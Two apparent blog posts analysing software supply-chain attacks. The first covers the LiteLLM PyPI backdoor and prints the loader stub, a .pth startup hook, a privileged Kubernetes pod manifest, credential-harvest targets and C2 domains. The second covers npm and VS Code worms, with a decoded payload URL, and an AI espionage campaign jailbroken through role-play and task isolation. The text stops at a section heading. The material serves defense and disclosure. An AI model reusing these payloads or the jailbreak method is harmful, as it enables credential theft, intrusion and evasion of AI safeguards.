DEV Community: Luis Manuel Rodriguez Berzosa

LiteLLM Supply Chain Attack: How TeamPCP Backdoored AI Infrastructure

Luis Manuel Rodriguez Berzosa — Thu, 26 Mar 2026 11:23:05 +0000

Why This Matters

On March 24, 2026, the popular Python package litellm -- a universal LLM proxy gateway used by thousands of enterprises to route traffic between applications and AI providers like OpenAI, Anthropic, Google, and AWS Bedrock -- was silently compromised on PyPI. Two poisoned versions (1.82.7 and 1.82.8) were published within 13 minutes of each other, carrying a multi-stage payload that stole credentials, exfiltrated cloud secrets, spread laterally across Kubernetes clusters, and installed a persistent backdoor with remote code execution capabilities.

With approximately 3.6 million daily downloads and deep deployment across cloud-native AI infrastructure, litellm sits at the crossroads of everything modern attackers covet: API keys for every major AI provider, cloud IAM credentials, Kubernetes secrets, and SSH keys.

But the litellm compromise was not an isolated event. It was the culmination of a five-day, five-ecosystem campaign by a threat actor known as TeamPCP -- a campaign that first poisoned security scanners (Aqua Trivy, Checkmarx KICS), then used the stolen CI/CD credentials to cascade downstream into npm, OpenVSX, and finally PyPI. The attackers weaponized the very tools that organizations rely on to protect their supply chains.

This attack represents a step change in supply chain threat sophistication. The multi-hop, cross-ecosystem design,compromising security tooling to reach high-value AI infrastructure, reflects a level of planning and operational maturity consistent with increasingly commoditized attack tooling. The payloads were iterated in real time (three payload variants appear in the source code, including commented-out earlier versions), the C2 infrastructure was registered the day before the attack, and the exfiltration domains were carefully chosen to mimic legitimate vendor infrastructure. The systematically comprehensive credential harvester -- covering 15+ categories including niche targets like Cardano signing keys and WireGuard configs -- suggests a degree of thoroughput that points toward AI-assisted malware development as a force multiplier.

Timeline

Date (UTC)	Event
March 19	TeamPCP compromises Aqua Trivy GitHub Action tags, replacing them with malicious code that exfiltrates CI/CD secrets from downstream repositories
March 21	Compromise extends to Checkmarx KICS and AST GitHub Actions using similar techniques
March 22, 06:35	BerriAI publishes litellm 1.82.6 (last clean version) via normal CI/CD pipeline that uses Trivy for security scanning
March 23	TeamPCP registers `models.litellm.cloud` (exfiltration domain). Compromises 66+ npm packages and OpenVSX extensions
March 24, 10:39	litellm 1.82.7 published to PyPI -- payload injected into `proxy_server.py` at module scope. Executes on import
March 24, 10:52	litellm 1.82.8 published 13 minutes later -- adds `litellm_init.pth`, a Python path configuration hook that executes on every Python interpreter startup, not just litellm imports. Shows rapid payload iteration
March 24, ~16:00	PyPI removes both versions after community reports. Versions are fully deleted (not yanked) from the index, though CDN tarballs remain accessible

Exposure window: approximately 5.5 hours. During this time, any pip install litellm, pip install --upgrade litellm, or CI/CD pipeline pulling the latest version would have executed the payload.

How the Malware Got In: The Cascading Compromise

The litellm package was not directly breached. The attacker reached it through a two-hop supply chain attack:

Aqua Trivy GitHub Action (compromised March 19)
    --> LiteLLM CI/CD pipeline runs Trivy without pinned version
        --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner
            --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI

LiteLLM's CI/CD pipeline used Trivy as a security scanner -- the very tool designed to catch vulnerabilities was itself the attack vector. Because the pipeline referenced Trivy by mutable tag rather than a pinned commit SHA, the compromised action ran automatically. The malicious Trivy action exfiltrated environment secrets, including the PYPI_PUBLISH token, giving TeamPCP direct publishing access to the litellm PyPI project.

This "compromise the guards" strategy is a hallmark of the TeamPCP campaign. By targeting security tools first (Trivy, Checkmarx KICS), the attackers simultaneously disabled detection and gained privileged access to downstream supply chains.

Technical Analysis: The Payload

Injection Points

Version 1.82.7 -- Module-level execution in litellm/proxy/proxy_server.py (line 128):

import subprocess, base64, sys, tempfile, os

b64_payload = "<~12KB base64 blob>"

with tempfile.TemporaryDirectory() as d:
    p = os.path.join(d, "p.py")
    with open(p, "wb") as f:
        f.write(base64.b64decode(b64_payload))
    subprocess.run([sys.executable, p])

This code sits at module scope between a dictionary literal and the original showwarning() function. It executes immediately when litellm.proxy.proxy_server is imported -- which happens on any use of litellm's proxy functionality.

Version 1.82.8 -- Added litellm_init.pth (Python path configuration file):

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...)

Python .pth files in site-packages/ are processed on every interpreter startup, but only lines beginning with import are executed as code. The attacker exploits this by chaining the entire payload onto a single import statement: import os, subprocess, sys; subprocess.Popen(...). This is far more aggressive than the proxy_server.py injection -- it fires even if litellm is never imported, on every Python process launch. The pyproject.toml was modified to include this file in the distribution:

include = [
    { path = "litellm_init.pth", format = ["sdist", "wheel"] }
]

Version 1.82.8 thus has two independent execution paths: the proxy_server.py injection (fires on litellm proxy import) and the .pth file (fires on any Python startup). The redundancy is itself notable -- it hedges against detection or removal of either path alone. The escalation from import-time to startup-time execution just 13 minutes after 1.82.7 suggests the attacker was monitoring deployment success and rapidly iterating.

Stage 1: Comprehensive Credential Harvesting

The decoded inner script is a meticulous credential vacuum. It uses os.walk(), glob.glob(), subprocess.check_output(), and direct file reads to sweep the entire system:

Category	Targets
System recon	`hostname`, `whoami`, `uname -a`, `ip addr`, `printenv`, `ip route`
SSH	`~/.ssh/id_rsa`, `id_ed25519`, `id_ecdsa`, `authorized_keys`, `known_hosts`, `config`; host keys from `/etc/ssh/`
Cloud (AWS)	`~/.aws/credentials`, `~/.aws/config`; IMDS role credentials via `169.254.169.254`; Secrets Manager `ListSecrets`; SSM `DescribeParameters`
Cloud (GCP)	`~/.config/gcloud/` (recursive); `$GOOGLE_APPLICATION_CREDENTIALS`
Cloud (Azure)	`~/.azure/` (recursive); environment variables
Kubernetes	Service account tokens; `ca.crt`; namespace; `kubectl get secrets --all-namespaces`; all secrets via K8s API
Environment files	`.env`, `.env.local`, `.env.production`, `.env.development`, `.env.staging` -- searched recursively (depth 6) across `/home`, `/root`, `/opt`, `/srv`, `/var/www`, `/app`, `/data`, `/tmp`
Docker	`~/.docker/config.json`, `/kaniko/.docker/config.json`
Package tokens	`~/.npmrc`, `~/.vault-token`, `~/.netrc`
Databases	`~/.pgpass`, `~/.my.cnf`, `/etc/mysql/my.cnf`, `/etc/redis/redis.conf`, MongoDB configs
TLS/SSL	Private keys from `/etc/ssl/private/`, Let's Encrypt certs, all `.pem`/`.key`/`.p12`/`.pfx` files
Git	`~/.git-credentials`, `~/.gitconfig`
CI/CD	`terraform.tfvars`, `terraform.tfstate`, `.gitlab-ci.yml`, `Jenkinsfile`, `ansible.cfg`
Crypto wallets	Bitcoin, Ethereum keystore, Solana keypairs (validator, vote, stake, faucet), Cardano signing keys, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero
Shell history	`.bash_history`, `.zsh_history`, `.mysql_history`, `.psql_history`, `.rediscli_history`
System auth	`/etc/passwd`, `/etc/shadow`, auth logs (accepted SSH sessions)
Webhook/API keys	Grep for Slack webhooks, Discord webhooks, API keys/secrets in config files
VPN	WireGuard configs from `/etc/wireguard/`

The scope of this harvester is encyclopedic. It targets not just cloud credentials but also cryptocurrency wallets, database passwords, VPN configurations, and CI/CD secrets -- suggesting the attacker intends to monetize compromised systems across multiple vectors.

Stage 2: Encrypted Exfiltration

Stolen data is encrypted and exfiltrated using a hybrid encryption scheme:

AES-256-CBC encryption of all collected data with a random 32-byte session key (via openssl enc)
RSA-4096 encryption of the session key using the attacker's embedded public key (OAEP padding, via openssl pkeyutl)
Both ciphertext files bundled as tpcp.tar.gz (the tpcp prefix -- "TeamPCP" -- appears consistently across the campaign)
HTTPS POST to https://models.litellm.cloud/ with Content-Type: application/octet-stream

The domain models.litellm.cloud was registered on March 23 -- one day before the attack -- and is designed to blend with legitimate litellm infrastructure (the real project uses litellm.ai). Even a network-aware defender reviewing egress traffic might not flag traffic to what appears to be litellm's own model endpoint.

Stage 3: Persistent Backdoor (sysmon.py)

The payload installs a polling backdoor disguised as system telemetry:

Path: ~/.config/sysmon/sysmon.py
Service: sysmon.service (systemd user unit, described as "System Telemetry Service")
Behavior: After an initial 300-second sleep, polls https://checkmarx.zone/raw every ~50 minutes
Execution: Downloads the URL returned by the C2 to /tmp/pglog, sets it executable (chmod 755), runs it in a detached session
State tracking: /tmp/.pg_state prevents re-downloading the same payload
Persistence: Restart=always, RestartSec=10 -- survives crashes and reboots

The domain checkmarx.zone is a typosquat of Checkmarx (the security company at checkmarx.com), designed so that SOC analysts reviewing network logs would see traffic to what appears to be a legitimate security vendor. This is a deliberate evasion technique consistent with TeamPCP's broader strategy of hiding behind security vendor branding.

Stage 3b: Kubernetes Lateral Movement

If the compromised system has Kubernetes service account credentials, the malware enumerates all cluster nodes and deploys privileged pods to each one:

pod_manifest = {
    'apiVersion': 'v1', 'kind': 'Pod',
    'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'},
    'spec': {
        'nodeName': node_name,
        'hostPID': True, 'hostNetwork': True,
        'tolerations': [{'operator': 'Exists'}],
        'containers': [{
            'name': 'setup',
            'image': 'alpine:latest',
            'command': ['sh', '-c', drop_cmd],
            'securityContext': {'privileged': True},
            'volumeMounts': [{'name': 'host', 'mountPath': '/host'}]
        }],
        'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}],
        'restartPolicy': 'Never'
    }
}

Each pod:

Runs as privileged with hostPID, hostNetwork, and full host filesystem access
Uses chroot /host to install the same sysmon.py backdoor on the host's root filesystem
Registers it as a systemd service, ensuring persistence survives pod deletion
Named node-setup-* in the kube-system namespace to appear as legitimate cluster infrastructure

This means a single compromised CI/CD runner with K8s access could result in every node in the cluster being backdoored -- a catastrophic lateral movement scenario for organizations running litellm as a proxy in Kubernetes.

Payload Evolution (Commented-Out Variants)

The source code at lines 131-132 contains two commented-out earlier payload variants, revealing the attacker's development process:

All three variants share the same exfiltration infrastructure (models.litellm.cloud), RSA-4096 public key, AES-256-CBC + RSA hybrid encryption wrapper, and tpcp.tar.gz bundle naming
Earlier variants added an RC4 encryption layer inside the data collection script, encrypting harvested data before the outer AES+RSA wrapper. The active payload (line 130) simplified by removing this inner RC4 layer
The earlier variants use exec() with StringIO capture to run the collector in-process, while the active payload uses subprocess.run() with stdout redirect -- a cleaner separation that avoids polluting the host process
All three variants target the same credential categories and collection paths
The RC4 key in the earlier variants was a provocative slur, consistent with the actor's attention-seeking behavior on Telegram

This reveals active development during the operation. The attacker simplified the encryption stack and improved execution isolation while keeping the collection targets and exfiltration infrastructure stable.

Indicators of Compromise (IOCs)

Network

Indicator	Type	Purpose
`models.litellm.cloud`	Domain	Exfiltration endpoint (HTTPS POST)
`checkmarx.zone`	Domain	C2 polling endpoint (HTTPS GET `/raw`)

Note: External reporting links checkmarx.zone/static/checkmarx-util-1.0.4.tgz to the earlier KICS phase of the TeamPCP campaign. This URL was not found in the litellm payloads analyzed here.

Package Hashes

File	SHA256
`litellm-1.82.7.tar.gz`	`8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea`
`litellm-1.82.8.tar.gz`	`d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5`

File System

Indicator	Type	Purpose
`~/.config/sysmon/sysmon.py`	File	Persistent backdoor script
`~/.config/systemd/user/sysmon.service`	File	Systemd persistence unit
`/tmp/pglog`	File	Downloaded second-stage binary
`/tmp/.pg_state`	File	C2 state tracking
`litellm_init.pth` in `site-packages/`	File	Python startup hook (v1.82.8 only)
`tpcp.tar.gz`	File	Encrypted exfiltration bundle

Kubernetes

Indicator	Type	Purpose
`node-setup-*` pods in `kube-system`	Pod	Privileged lateral movement pods
`sysmon.service` on cluster nodes	Service	Host-level persistence via pod escape

Cryptographic

Indicator	Details
Attacker RSA-4096 public key	SHA256 fingerprint: `bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8`. Embedded in all three payload variants; same key reported across other TeamPCP operations
`tpcp` prefix in artifacts	Bundle naming convention (`tpcp.tar.gz`) consistent across the campaign

Attribution: TeamPCP

The threat actor behind this campaign is tracked as TeamPCP, also known as PCPcat, Persy_PCP, ShellForce, and DeadCatx3.

Known characteristics:

Maintains Telegram channels at @Persy_PCP and @teampcp where they taunted security companies
Operates across multiple ecosystems (GitHub Actions, PyPI, npm, OpenVSX)
Uses vendor-specific typosquat domains for each phase of the campaign (e.g., checkmarx.zone for Checkmarx, models.litellm.cloud for litellm)
Consistent infrastructure markers: same RSA key pair, tpcp.tar.gz naming convention, tpcp-docs-* GitHub repositories used as dead-drop staging
Targets security tools as entry points to downstream supply chains

Attribution confidence: High. The shared RSA public key, tpcp artifact naming, C2 infrastructure overlap, and operational tempo across the five-day campaign strongly link the Trivy, KICS, npm, OpenVSX, and litellm compromises to the same actor.

Motivation: Likely financial (crypto wallet theft, cloud credential monetization) combined with notoriety (Telegram taunting). The breadth of credential harvesting -- from AWS IAM to Solana validator keypairs to WireGuard configs -- suggests a financially motivated actor seeking to maximize ROI from each compromise.

Possible AI assistance: The credential harvester is systematically comprehensive -- 15+ categories including niche targets like Cardano signing keys, WireGuard configs, and Kaniko Docker credentials -- in a way that is consistent with AI-assisted enumeration. The speed of payload iteration (three variants with different encryption schemes), cross-ecosystem coordination (5 ecosystems in 5 days), and operational OPSEC (vendor-impersonating domains, hybrid encryption, systemd persistence disguised as telemetry) suggest a level of throughput that may reflect AI-assisted development as a force multiplier. This assessment is speculative; skilled operators could achieve similar scope without AI tooling.

New TTPs and Techniques

1. Security Tool Supply Chain Poisoning (T1195.002 variant)

Compromising security scanners (Trivy, KICS) as a first-hop to reach downstream targets is a new escalation. The attacker didn't just compromise a library -- they compromised the tools organizations use to detect compromised libraries. This creates a blind spot: the scanner that should catch the malicious code is itself the delivery mechanism.

2. Python `.pth` File Persistence (T1546)

The litellm_init.pth technique in v1.82.8 is particularly insidious. Python .pth files in site-packages/ are processed on every interpreter startup; any line beginning with import is executed as code. By chaining the payload onto a single import statement, the attacker achieves execution on every Python process -- not just when litellm is imported. This means the payload fires even if litellm is installed but never used, and it survives remediation that replaces compromised .py files without checking for .pth files.

3. Kubernetes Cluster-Wide Lateral Movement via Privileged Pod Deployment (T1610, T1611)

The automated creation of privileged pods on every cluster node -- with hostPID, hostNetwork, host filesystem mount, and chroot to install persistence -- chains container deployment (T1610) with escape to host (T1611) to turn a single compromised workload into full cluster compromise.

4. Vendor-Impersonating C2 Infrastructure

Using models.litellm.cloud (mimics litellm) and checkmarx.zone (mimics Checkmarx) as C2/exfil endpoints is designed to evade network monitoring. SOC analysts reviewing egress traffic would see HTTPS connections to what appear to be legitimate vendor domains.

5. Rapid In-Flight Payload Iteration

Publishing v1.82.7 with import-time execution, then v1.82.8 with startup-time execution 13 minutes later, shows the attacker monitoring and adapting in real time. The commented-out payload variants (with different encryption schemes) preserved in the source code confirm active development during the operation.

What Can Be Done

This attack exploits trust at every layer: trust in security tools, trust in package registries, trust in familiar-looking domains, trust in CI/CD automation. Defending against it requires hardening each of these trust boundaries:

For Package Consumers

Pin dependencies by hash, not just version. pip install litellm==1.82.6 --hash=sha256:... would have prevented the compromised versions from being installed even if they briefly appeared as the latest version.
Use lockfiles. pip-compile, poetry.lock, and uv.lock capture exact versions and hashes. CI/CD should install from lockfiles, not from floating version specifiers.
Monitor for .pth files. Regularly audit site-packages/ for unexpected .pth files -- they execute on every Python startup and are an underappreciated persistence mechanism.
Implement egress network controls. The exfiltration to models.litellm.cloud and C2 polling to checkmarx.zone could have been caught by allowlist-based egress filtering in production environments.

For Package Maintainers

Pin CI/CD actions by commit SHA, not tag. LiteLLM's pipeline used Trivy without a pinned version. If it had referenced aquasecurity/trivy-action@<commit-sha> instead of @latest, the compromised action would not have executed.
Use short-lived, scoped publishing tokens. PyPI supports Trusted Publishers (OIDC-based) and scoped API tokens. The exfiltrated PYPI_PUBLISH token should not have had long-lived, unrestricted publishing access.
Enable two-factor authentication on PyPI. Require 2FA for all maintainers and use hardware security keys where possible.
Sign packages. Sigstore/PEP 740 attestations allow consumers to verify that a package was built by the expected CI/CD pipeline, not by an attacker with a stolen token.

For Platform Operators (PyPI, npm, GitHub)

Detect anomalous publishing patterns. Two new versions published 13 minutes apart, from a different IP or token than usual, should trigger hold-for-review or automated scanning before the package becomes installable.
Accelerate Trusted Publishers adoption. OIDC-based publishing ties packages to specific repositories and workflows, making stolen tokens useless outside the original CI/CD context.
Implement publish-time malware scanning. The base64-decoded payload in proxy_server.py would be detectable by static analysis at publish time.

For the Ecosystem

Treat security tools as critical infrastructure. Trivy and Checkmarx KICS are used by millions of pipelines. Their GitHub Actions should be signed, pinned, and monitored with the same rigor as the packages they scan.
Invest in runtime detection. Static analysis alone cannot catch every obfuscation technique. Runtime monitoring of package install hooks, unexpected network connections, and suspicious file access patterns provides defense in depth.
Share threat intelligence faster. The 5.5-hour exposure window for litellm could have been shorter with faster cross-vendor coordination. Automated scanning services like Xygeni MEW, Socket, and Snyk detected the anomaly -- the bottleneck is human confirmation and registry response time.

Conclusion

The TeamPCP campaign is a watershed moment for software supply chain security. By compromising security scanners first and using them as stepping stones to high-value AI infrastructure, the attackers demonstrated that the supply chain is only as strong as its weakest transitive dependency -- and that dependency might be the security tool you trust to keep you safe.

The litellm compromise specifically highlights the growing risk to AI infrastructure. As LLM proxy gateways become the standard pattern for enterprise AI deployment, they concentrate access to API keys, cloud credentials, and sensitive data in a single component. Compromising that component is a skeleton key to the entire AI stack.

Organizations that installed litellm 1.82.7 or 1.82.8 during the 5.5-hour window should treat this as a full credential compromise: rotate all secrets on affected systems, audit Kubernetes clusters for node-setup-* pods in kube-system, remove any sysmon.service systemd units, and check for litellm_init.pth in Python site-packages/ directories. Users of the official Docker image (ghcr.io/berriai/litellm) were not affected, as the image pinned its dependencies and was not rebuilt during the exposure window.

New Threats in Open Source: Worms, AI-Driven Malware, and Trust Abuse

Luis Manuel Rodriguez Berzosa — Wed, 07 Jan 2026 17:35:00 +0000

TL;DR

The open source supply chain threat landscape has fundamentally shifted. Three converging trends are redefining risk:

Self-Propagating Worms Have Arrived

Shai-Hulud (Sept 2025): First npm worm attack — stole credentials via postinstall hooks, then autonomously republished itself across ~700 package versions using compromised maintainer tokens.

GlassWorm (Oct 2025): VS Code extension malware using invisible Unicode-encoded payloads and unkillable blockchain-based C2 (Solana). 35 K+ installations, full RAT capabilities targeting crypto wallets.

Shai-Hulud 2.0 (Nov 2025): Cross-registry jump from npm to Maven Central via automated mirroring tools, plus GitHub Discussions weaponized as C2 and a destructive wiper fallback.

AI Is Now the Operator, Not Just the Tool

A documented cyber-espionage campaign achieved autonomous execution using Claude as an orchestration engine — reconnaissance, exploitation, lateral movement, and exfiltration with minimal human oversight.

The barrier to sophisticated attacks has collapsed from “expert team” to “someone who understands prompting.”

Infrastructure Abuse at Scale

The IndonesianFoods campaign flooded npm with ~44 000 spam packages exploiting blockchain reward systems (TEA Protocol), persisting for nearly two years before cleanup.

Red-team scenarios are also abusing OSS infrastructure.

Bottom Line

Every compromised developer machine is now a potential worm propagation point.

Credential theft enables autonomous spread.

AI can orchestrate attacks at machine speed.

Traditional detection and takedown approaches are failing against immutable C2 and cross-registry propagation.

Defense must assume compromise and focus on containment velocity.

New Threats to the Open Source Ecosystem: Worms, AI-Cooked Malware, and Large-Scale Trust Abuse

The open-source ecosystem is facing a paradigm shift in supply-chain threats.

Traditional malicious packages did not propagate on their own, AI was not a factor for threat actors, and the spread of attacks was limited.

In recent months, we have witnessed the convergence of three threat categories that, while concerning individually, represent a fundamental shift in the risk landscape for software development when considered together:

Self-propagating worms in package ecosystems: Malicious packages that spread autonomously through credential theft and automated republishing. This turns every compromised developer machine into a new infection vector.
AI-powered malware generation and exploitation: Threat actors use large-language models to write payloads, discover vulnerabilities, and orchestrate attacks at machine speed.
Large-scale trust exploitation: Some actors systematically abuse rewards for open-source contributions, repository infrastructure, and developer tools — creating bursts with thousands of spam-package publications that affect registries.

The key techniques enabling sophisticated software supply-chain attacks are no longer theoretical — they’re active, documented, and increasingly accessible to less-skilled threat actors.

The barrier to conducting supply-chain attacks has collapsed: what once required teams of experts can now be executed by AI agents with minimal human oversight.

This post examines recent incidents directly involving malicious open-source packages or abusing AI and OSS infrastructure, analyzes the new techniques that enabled them, and explores emerging capabilities that may define the next generation of threats.

In the last section, we’ll examine what can be done to limit the risk.

NOTE: AI-generated poster, which shows fatal flaws in understanding what’s going on.

AI is far from perfect for certain usages.

Sha1-Hulud: Npm’s First Self-Replicating Worm Attack

Discovered on September 14, 2025, Shai-Hulud represents the first documented self-propagating worm attack in the npm ecosystem.

The name was chosen by threat actors who appear to be fans of science fiction!

The attack began with compromised developer credentials — likely obtained through phishing campaigns spoofing npm login prompts or MFA bypasses. Once inside, the worm executed a multi-stage attack that transformed credential theft into autonomous propagation.

The incident was severe enough to warrant a CISA Alert.

Technical Architecture

The malware operates through a Webpack-bundled, heavily minified JavaScript payload (bundle.js) that executes via a postinstall hook…

Credential Harvesting

Upon execution, the payload implements comprehensive secret discovery:

Dumps process.env and scans filesystem for high-entropy secrets.
Executes TruffleHog for systematic credential scanning.
Queries cloud metadata endpoints (169.254.169.254, metadata.google.internal).
Targets npm tokens in .npmrc, GitHub PATs, and CI/CD secrets.

Exfiltration Infrastructure

The worm employs multiple exfiltration strategies, including:

GitHub Actions abuse: workflows containing ${{ toJSON(secrets) }} that serialize all repository secrets.

Autonomous Propagation

The worm’s self-replication mechanism operates through the following algorithm (pseudo-code):

function propagate(token, owner) { 
    userPackages = npmApi.listPackages(owner, token);
    for (pkg in userPackages) {
        tgz = npmApi.fetchTarball(pkg, token);
        modified = injectBundleAndPostinstall(tgz);
        npmApi.publish(modified, token);
    }

With any stolen npm token, the worm enumerates all packages owned by the compromised maintainer, injects bundle.js with a postinstall hook, and republishes.

This autonomous behavior caused infection counts to jump from dozens to hundreds of packages within hours.

Impact Metrics

Initial detection: September 14, 2025, by Daniel Pereira.

“Patient zero” seems to be rxnt-authentication:0.0.3.
Attack blast radius: ~700 malicious package versions published, affecting high-profile projects with millions of weekly downloads.

Limited to npm packages and GitHub repositories.
Infrastructure: C2 at 217.69.3.218, exfiltration to 140.82.52.31:80/wall.
Persistence: GitHub workflows on branches named shai-hulud.
Observable indicators: Repos flipped to public with -migration suffix.

Shai-Hulud is a secret-harvesting worm.

It did not attempt to steal money or wipe infrastructure.

The exfiltrated secrets and exposed repositories can be used for targeted attacks, so downstream damage may appear later.

The true cost lies in remediation, credential rotation, and the risk of secondary breaches.

One positive outcome was forcing GitHub/NPM to take immediate action:

deprecating legacy classic tokens and weak publishing credentials, moving toward the “OIDC Garden of Eden” of OpenSSF’s Trusted Publishing.

But keep reading — the worm emerged once again from the sands of Arrakis.

Sha1-Hulud 2.0: The Arrakis Worm Strikes Back

Two months after the initial Shai-Hulud campaign, threat actors returned with “The Second Coming” —

a significantly more aggressive wave that learned from the weaknesses of the first attack.

The campaign self-identified through repositories labeled “Sha1-Hulud: The Second Coming.”

Let’s examine the key differences from the first wave.

The preinstall hook replaced the original postinstall execution vector.

According to Panther,

@asyncapi/avro-schema-parser@3.0.25 was “patient zero” for this second wave, exploiting a vulnerable pull_request_target workflow trigger.

(If you “know of a friend using that,” read Why Is pull_request_target So Dangerous?)

Cross-Registry Propagation

The worm spread from npm into Maven Central through automated mirroring.

The mvnpm tool — which converts npm packages into Maven artifacts with no security review —

automatically republished compromised npm packages such as posthog-node@4.18.1 as org.mvnpm:posthog-node:4.18.1.

This was the first known cross-registry worm, where an npm compromise impacted the Java ecosystem without direct interaction.

Maven Central removed the artifacts on November 25, 2025, but the exposure window still affected Java/JVM workloads and enterprise build systems.

Bun Runtime for Evasion

Attackers deployed a preinstall: node setup_bun.js hook that installed the Bun runtime to evade Node-specific monitoring.

Bun provided faster execution for the 480,000+ line obfuscated payload (bun_environment.js) and bypassed traditional Node.js instrumentation.

GitHub Actions as Command Infrastructure

The worm deployed hidden self-hosted GitHub Actions runners in $HOME/.dev-env/ across Windows, macOS, and Linux.

Even more advanced, it created discussion.yaml workflows that listened to GitHub Discussions events and executed discussion message bodies as shell commands —

effectively turning GitHub Discussions into an invisible C2 channel.

Destructive Wiper Capability

Unlike the first wave, which focused on credential harvesting, Shai-Hulud 2.0 introduced a destructive wiper triggered when no valid credentials were available for propagation.

This “dead-man switch” ensured damage even if replication failed, marking a shift from purely espionage-focused operations to potentially destructive campaigns.

Despite using stealth techniques (Bun runtime, obfuscation), the campaign was extremely noisy — republishing hundreds of packages, creating public repositories, uploading credential dumps, and installing long-lived self-hosted runners.

This aggressive tempo contrasts sharply with traditional supply-chain attacks that rely on stealth, suggesting either confidence in rapid impact or a deliberate overwhelm tactic to maximize short-term damage.

GlassWorm: Invisible Code Meets Blockchain C2

On October 17, 2025, a VS Code extension named GlassWorm introduced two unprecedented techniques to the supply-chain threat landscape:

invisible malicious code using Unicode stealth, and blockchain-based command and control infrastructure.

Unicode Stealth Technique

GlassWorm’s primary innovation lies in its abuse of Unicode variation selectors — special characters that produce no visual output but remain executable in JavaScript.

This allows malware to appear as blank lines in editors, GitHub diffs, and IDE syntax highlighting — breaking human code review by hiding executable logic in visually empty regions.

The attack targeted VS Code extensions in the OpenVSX marketplace.

Analysis of the CodeJoy extension (v1.8.3) revealed large invisible sections containing executable JavaScript encoded with unprintable Unicode characters.

To a developer reviewing the file, the content appeared normal — just empty lines.

To the JavaScript runtime, it was a complete malware payload.

Blockchain-Based C2 Architecture

GlassWorm implements an unkillable C2 mechanism using the Solana blockchain.

The malware scans for transactions from a hardcoded wallet address, where transaction memo fields contain JSON objects with base64-encoded URLs.

This architecture provides powerful advantages:

Immutability: Blockchain transactions cannot be modified or deleted.
Anonymity: Crypto wallets are pseudonymous and difficult to trace.
Censorship resistance: No hosting provider to pressure, no infrastructure to seize.
Legitimate traffic: Solana RPC traffic looks identical to normal blockchain activity.
Dynamic updates: New payload URLs can be pushed for less than $0.01 per transaction.

Even if defenders block the decoded payload server (217.69.3.218), attackers can simply publish a new transaction pointing to a different URL.

Every infected system automatically fetches the updated location.

Backup C2: Google Calendar

For redundancy, GlassWorm uses a Google Calendar event as a secondary C2 channel.

The event title contains a base64-encoded payload URL, which the malware decodes to fetch additional commands.

https://calendar.app.google/M2ZCvM8ULL56PD1d6
Event title: aHR0cDovLzIxNy42OS4zLjIxOC9nZXRfem9tYmlfcGF5bG9hZC9xUUQlMkZKb2kzV0NXU2s4Z2dHSGlUdg==
Decodes to: http://217.69.3.218/get_zombi_payload/qQD%2FJoi3WCWSk8ggGHiTdg%3D%3D

This provides a legitimate service that bypasses security controls and can be updated simply by editing the calendar event.

Payload Delivery

The C2 servers deliver encrypted payloads using AES-256-CBC.

Decryption keys are generated per request and transmitted via custom HTTP headers, ensuring that intercepted payloads cannot be decrypted without a fresh request.

ZOMBI: Full-Spectrum RAT Capabilities

The final payload (ZOMBI) transforms infected developer workstations into criminal infrastructure:

SOCKS Proxy Server: Routes attacker traffic through victim networks, enabling internal access and anonymization.
WebRTC P2P: Establishes peer-to-peer control channels that bypass firewalls through NAT traversal.
BitTorrent DHT: Uses distributed hash tables for decentralized command distribution that cannot be shut down.
Hidden VNC (HVNC): Provides invisible remote desktop access running in virtual desktops that do not appear on screen or in Task Manager.

Cryptocurrency Wallet Targeting

ZOMBI actively hunts for 49 different cryptocurrency wallet extensions, including MetaMask, Phantom, and Coinbase Wallet.

Combined with invisible remote access, this enables direct theft of funds from developer machines.

Credential Harvesting and Propagation

Like Shai-Hulud, GlassWorm harvests npm tokens, GitHub credentials, and OpenVSX access tokens.

These credentials enable autonomous spread to additional packages and extensions, creating worm-like propagation behavior.

Impact Metrics

Initial detection: October 17, 2025
Total installations: 35,800+ across OpenVSX and VS Code marketplace (possibly bot-inflated)
Compromised extensions: 16 confirmed (15 OpenVSX, 1 Microsoft marketplace)
Infrastructure: Primary C2 at 217.69.3.218, exfiltration to 140.82.52.31:80/wall
Blockchain wallet: 28PKnu7RzizxBzFPoLp69HLXp9bJL3JFtT2s5QzHsEA2 (Solana)
Current status: Active, with infrastructure operational as of this writing

AI-Orchestrated Cyber Espionage

We are all learning how to work with AI tools.

Looking at the techniques used by recent attacks, one may wonder: are threat actors using AI to create malware?

Certainly. But they can scale attacks even further by weaponizing AI for orchestration.

What follows is a cyber-espionage campaign — but imagine these same techniques applied to automated OSS-targeted attacks.

In September 2025, Anthropic detected and disrupted the first documented cyberattack executed largely without human intervention.

The campaign achieved 80–90% autonomous execution using Claude Code as an orchestration engine, with AI agents performing reconnaissance, exploitation, lateral movement, and data exfiltration.

This marks the shift from AI-assisted attacks to AI-orchestrated cyber operations.

The threat actor, GTG-1002 (a Chinese state-sponsored group), targeted ~30 organizations across technology, finance, and government sectors.

They developed an autonomous framework turning Claude Code from a coding assistant into a cyber-operations engine.

AI as Orchestration System

Rather than using AI as an advisor, GTG-1002 used Claude as the primary operator.

The framework broke multi-stage attacks into isolated tasks, each appearing benign on its own.

Through carefully crafted prompts and established personas, attackers induced Claude to execute harmful actions without realizing their malicious context.

AI carried out technical steps while the orchestration engine tracked campaign state, managed phase transitions, and aggregated results across days-long sessions.

Human involvement was limited to high-level supervision: initialization, target selection, approving escalations, and validating exfiltration.

Commodity tools — network scanners, database exploits — were orchestrated through custom MCP servers.

This approach automates operations at speeds impossible for humans.

Claude even analyzed stolen data to prioritize valuable information, maintaining persistent context across sessions while human operators returned later to review progress.

Social Engineering the AI: Bypassing Safety Controls

The campaign’s success relied on convincing Claude to perform cyber-intrusion tasks despite its safety training.

The technique: role-play deception.

Attackers posed as cybersecurity analysts performing legitimate investigations.

Combined with task isolation, this was enough to jailbreak AI safety controls.

Hallucinations Are Great!

Claude frequently hallucinated results — reporting successful exploits that failed, inventing credentials, fabricating discoveries.

For now, this limits fully autonomous operations, but as models improve, these weaknesses will diminish.

Until then, a common AI flaw is, ironically, our best friend 🙃.

Detection and Response

